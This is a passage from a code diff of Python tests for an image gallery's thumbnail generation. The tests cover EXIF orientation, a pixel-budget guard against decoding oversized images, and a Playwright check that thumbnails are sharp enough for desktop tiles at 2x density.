assert t.mode == "RGBA" and t.getchannel("A").getextrema()[0] == 0
def test_a_camera_portrait_is_sized_and_saved_upright(tmp_path):
"""groa, seat-verified: EXIF orientation was ignored, so a portrait shot
stored sideways was sized as a landscape and tiled sideways. Defeating
change: sizing the raw pixels without `exif_transpose`."""
import os
b = tmp_path / "g"
b.mkdir()
exif = PIL.Exif()
exif[0x0112] = 6 # rotate 90 CW to display
PIL.frombytes("RGB", (1200, 800), os.urandom(1200 * 800 * 3)).save(
b / "cam.jpg", "JPEG", exif=exif, quality=95)
assert PIL.open(ensure_thumb(b, "cam.jpg")).size == (THUMB_WIDTH, 1152)
def test_an_image_past_the_pixel_budget_is_never_decoded(tmp_path, monkeypatch):
"""2/4: the header is free to read and `thumbnail()` then decodes whatever it
claims, on every request, since a failure is not cached. Over the budget,
the original is served instead. Defeating change: no budget check."""
import booth.thumbs as thumbs
b = tmp_path / "g"
_noise(b / "p.png", 704, 1408)
monkeypatch.setattr(thumbs, "THUMB_MAX_PIXELS", 704 * 1408 - 1)
assert ensure_thumb(b, "p.png") is None
+50
View File
@@ -0,0 +1,50 @@
"""Thumbnails against the tile they are drawn into, in a real browser.
`THUMB_WIDTH` is derived from a LAYOUT number: the widest gallery tile on the
desktop grid, doubled for a 2x screen. A Python test cannot see a CSS width, so
without this file the constant and the grid could drift apart silently, which
is how the tiles went soft in the first place. If the grid widens its tiles,
this goes red and the constant is revisited, rather than the operator finding
it by eye.
Scoped to the desktop layout (3 columns, 1440px and up), which is where tiles
are measured at 321-361 CSS px. Narrower windows reflow to 2 columns (up to
472 px) or 1 (up to 650 px): at 2x density those are softer than this bound
covers, and that is a known limit, not a defect this file asserts against.
"""
from __future__ import annotations
import os
import pytest
from test_embed_browser import browser, live # noqa: F401 (fixtures)
from booth.thumbs import THUMB_WIDTH
PIL = pytest.importorskip("PIL.Image", reason="Pillow is not installed")
@pytest.mark.parametrize("viewport", [(1440, 900), (1920, 1080), (2560, 1440)])
def test_a_thumbnail_covers_its_tile_at_2x_density(browser, live, viewport): # noqa: F811
base, root = live
b = root / "g"
b.mkdir()
for n in ("a.png", "b.png", "c.png"):
PIL.frombytes("RGB", (1024, 1024), os.urandom(1024 * 1024 * 3)).save(b / n, "PNG")
pg = browser.new_page(viewport={"width": viewport[0], "height": viewport[1]})
try:
pg.goto(f"{base}/b/g/", wait_until="load")
pg.wait_for_function(
"Array.from(document.querySelectorAll('.gallery .item img'))"
".every(i => i.complete && i.naturalWidth)", timeout=15000)
tiles = pg.evaluate(
"Array.from(document.querySelectorAll('.gallery .item img'))"
".map(i => [i.currentSrc, i.clientWidth, i.naturalWidth])")
finally:
pg.close()
assert tiles, "no gallery tiles rendered"
for src, shown, natural in tiles:
assert "thumb=1" in src, f"{src} is not the thumbnail"
assert natural >= 2 * shown, (
f"{src}: a {shown}px tile needs {2 * shown}px at 2x, the thumbnail has {natural}px"
f" (THUMB_WIDTH={THUMB_WIDTH})")